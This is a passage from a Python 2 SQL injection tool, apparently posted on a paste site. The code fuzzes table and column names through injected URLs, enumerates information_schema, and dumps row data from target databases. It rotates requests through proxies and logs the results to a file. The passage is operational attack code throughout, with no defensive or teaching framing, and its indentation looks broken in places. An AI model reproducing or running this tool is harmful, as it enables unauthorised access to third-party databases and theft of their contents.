  464.         file.write("\n[+] Number of tables names to be fuzzed: "+str(len(fuzz_tables)))
  465.         print "[+] Number of column names to be fuzzed:",len(fuzz_columns)
  466.         file.write("\n[+] Number of column names to be fuzzed: "+str(len(fuzz_columns)))
  467.         print "[+] Searching for tables and columns..."
  468.         file.write("\n[+] Searching for tables and columns...")
  469.         fuzz_URL = site.replace("darkc0de","0x"+"darkc0de".encode("hex"))+arg_eva+"FROM"+arg_eva+"TABLE"+arg_end
  470.         for table in fuzz_tables:
  471.                 try:
  472.                         proxy_num+=1
  473.                         table_URL = fuzz_URL.replace("TABLE",table)
  474.                         gets+=1
  475.                         #print "[!] Table Debug:",table_URL
  476.                         source = proxy_list[proxy_num % proxy_len].open(table_URL).read()
  477.                         e = re.findall("darkc0de", source)
  478.                         if len(e) > 0:
  479.                                 print "\n[!] Found a table called:",table
  480.                                 file.write("\n\n[+] Found a table called: "+str(table))
  481.                                 print "\n[+] Now searching for columns inside table \""+table+"\""
  482.                                 file.write("\n\n[+] Now searching for columns inside table \""+str(table)+"\"")
  483.                                 for column in fuzz_columns:
  484.                                         try:
  485.                                                 proxy_num+=1
  486.                                                 gets+=1
  487.                                                 #print "[!] Column Debug:",table_URL.replace("0x6461726b63306465", "concat(0x6461726b63306465,0x3a,"+column+")")
  488.                                                 source = proxy_list[proxy_num % proxy_len].open(table_URL.replace("0x6461726b63306465", "concat(0x6461726b63306465,0x3a,"+column+")")).read()
  489.                                                 e = re.findall("darkc0de",source)
  490.                                                 if len(e) > 0:
  491.                                                         print "[!] Found a column called:",column
  492.                                                         file.write("\n[!] Found a column called:"+column)  
  493.                                         except (KeyboardInterrupt, SystemExit):
  494.                                                 raise
  495.                                         except:
  496.                                                 pass
  497.                                 print "[-] Done searching inside table \""+table+"\" for columns!"
  498.                                 file.write("\n[-] Done searching inside table \""+str(table)+"\" for columns!")
  499.                 except (KeyboardInterrupt, SystemExit):
  500.                         raise
  501.                 except:
  502.                         pass
  503.        
  504. #Lets Count how many rows or columns
  505. if mode == "--schema" or mode == "--dump" or mode == "--dbs":
  506.         source = proxy_list[proxy_num % proxy_len].open(count_URL).read()
  507.         match = re.findall("\x1e\x1e\S+",source)
  508.         match = match[0][2:].split("\x1e")
  509.         row_value = match[0]
  510.         print "[+] Number of "+arg_row+": "+row_value
  511.         file.write("\n[+] Number of "+arg_row+": "+str(row_value)+"\n")
  512. if mode == "--schema" or mode == "--full" or mode == "--dbs":
  513.         print
  514. ##Schema Enumeration and DataExt loop
  515. if mode == "--schema" or mode == "--dump" or mode == "--dbs":
  516.     while int(table_num) != int(row_value)+1:
  517.                 #print "table#:",table_num,"row#:",row_value
  518.         try:
  519.             proxy_num+=1
  520.             gets+=1
  521.             #print line_URL
  522.             source = proxy_list[proxy_num % proxy_len].open(line_URL.replace("NUM",str(num))).read()
  523.             match = re.findall("\x1e\x1e\S+",source)
  524.             if len(match) >= 1:
  525.                 if mode == "--schema" or mode == "--full":
  526.                     match = match[0][2:].split("\x1e")
  527.                     if cur_db != match[0]:         
  528.                         cur_db = match[0]
  529.                         file.write("\n[Database]: "+match[0]+"\n")
  530.                         print "[Database]: "+match[0]
  531.                         print "[Table: Columns]"
  532.                         file.write("[Table: Columns]")
  533.                     if cur_table != match[1]:
  534.                                                 print "\n["+str(table_num)+"]"+match[1]+": "+match[2],
  535.                                                 file.write("\n["+str(table_num)+"]"+match[1]+": "+match[2])
  536.                         cur_table = match[1]
  537.                                         table_num = int(table_num) + 1
  538.                     else:
  539.                                                 sys.stdout.write(",%s" % (match[2]))
  540.                                                 file.write(","+match[2])
  541.                                                 sys.stdout.flush()
  542.                 #Gathering Databases only
  543.                         elif mode == "--dbs":
  544.                                 match = match[0]
  545.                                 file.write("\n["+str(num)+"]"+str(match))
  546.                                 print "["+str(num)+"]",match
  547.                     table_num = int(table_num) + 1
  548.                 #Collect data from tables & columns
  549.                 elif mode == "--dump":
  550.                                         match = re.findall("\x1e\x1e+[\w\d\?\/\_\:\.\=\s\S\-+]+\x1e\x1e",source)
  551.                     match = match[0].strip("\x1e").split("\x1e")
  552.                     if arg_verbose == 1:
  553.                                                 print "\n["+str(num)+"] ",
  554.                                                 file.write("\n["+str(num)+"] ",)
  555.                                         else:
  556.                                                 print
  557.                                                 file.write("\n")
  558.                     for ddata in match:
  559.                                                 if ddata == "":
  560.                                                         ddata = "NoDataInColumn"
  561.                                                 sys.stdout.write("%s:" % (ddata))
  562.                                                 file.write("%s:" % ddata)
  563.                                                 sys.stdout.flush()
  564.                                         table_num = int(table_num) + 1
  565.             else:
  566.                 if mode == "--dump":
  567.                                         sys.stdout.write("\n[%s] No data" % (num))
  568.                                         file.write("%s:" % ddata)
  569.                                         table_num = int(table_num) + 1
  570.                                 else:
  571.                                         break
  572.             num = int(num) + 1
  573.         except (KeyboardInterrupt, SystemExit):
  574.             raise
  575.         except:
  576.             pass
  577.  
  578. #Full SQLi information_schema Enumeration
  579. if mode == "--full":
  580.         while 1:
  581.                 try:                        
  582.                         proxy_num+=1
  583.                         gets+=1
  584.                         source = proxy_list[proxy_num % proxy_len].open(line_URL.replace("NUM",str(num))).read()
  585.                         match = re.findall("\x1e\x1e\S+",source)
  586.                         if len(match) >= 1:
  587.                                 match = match[0][2:].split("\x1e")
  588.                                 if cur_db != match[0]:         
  589.                                         cur_db = match[0]
  590.                                         file.write("\n\n[Database]: "+match[0]+"\n")
  591.                                         print "\n\n[Database]: "+match[0]
  592.                                         print "[Table: Columns]"
  593.                                         file.write("[Table: Columns]")
  594.                                         table_num=0
  595.                                 if cur_table != match[1]:
  596.                                         print "\n["+str(table_num)+"]"+match[1]+": "+match[2],
  597.                                         file.write("\n["+str(table_num)+"]"+match[1]+": "+match[2])
  598.                                         cur_table = match[1]
  599.                                         table_num = int(table_num) + 1
  600.                                 else:
  601.                                         sys.stdout.write(",%s" % (match[2]))
  602.                                         file.write(","+match[2])
  603.                                         sys.stdout.flush()
  604.                         else:
  605.                                 if num == 0:
  606.                                         print "\n[-] No Data Found"
  607.                                 break
  608.                         num = int(num) + 1
  609.                 except (KeyboardInterrupt, SystemExit):
  610.                         raise
  611.                 except:
  612.                         pass
  613.  
  614. #Lets wrap it up!
  615. if mode == "--schema" or mode == "--full" or mode == "--dump":
  616.         print ""
  617. print "\n[-] %s" % time.strftime("%X")
  618. print "[-] Total URL Requests",gets
  619. file.write("\n\n[-] [%s]" % time.strftime("%X"))
  620. file.write("\n[-] Total URL Requests "+str(gets))
  621. print "[-] Done\n"
  622. file.write("\n[-] Done\n")
  623. print "Don't forget to check", dbt,"\n"
  624. file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement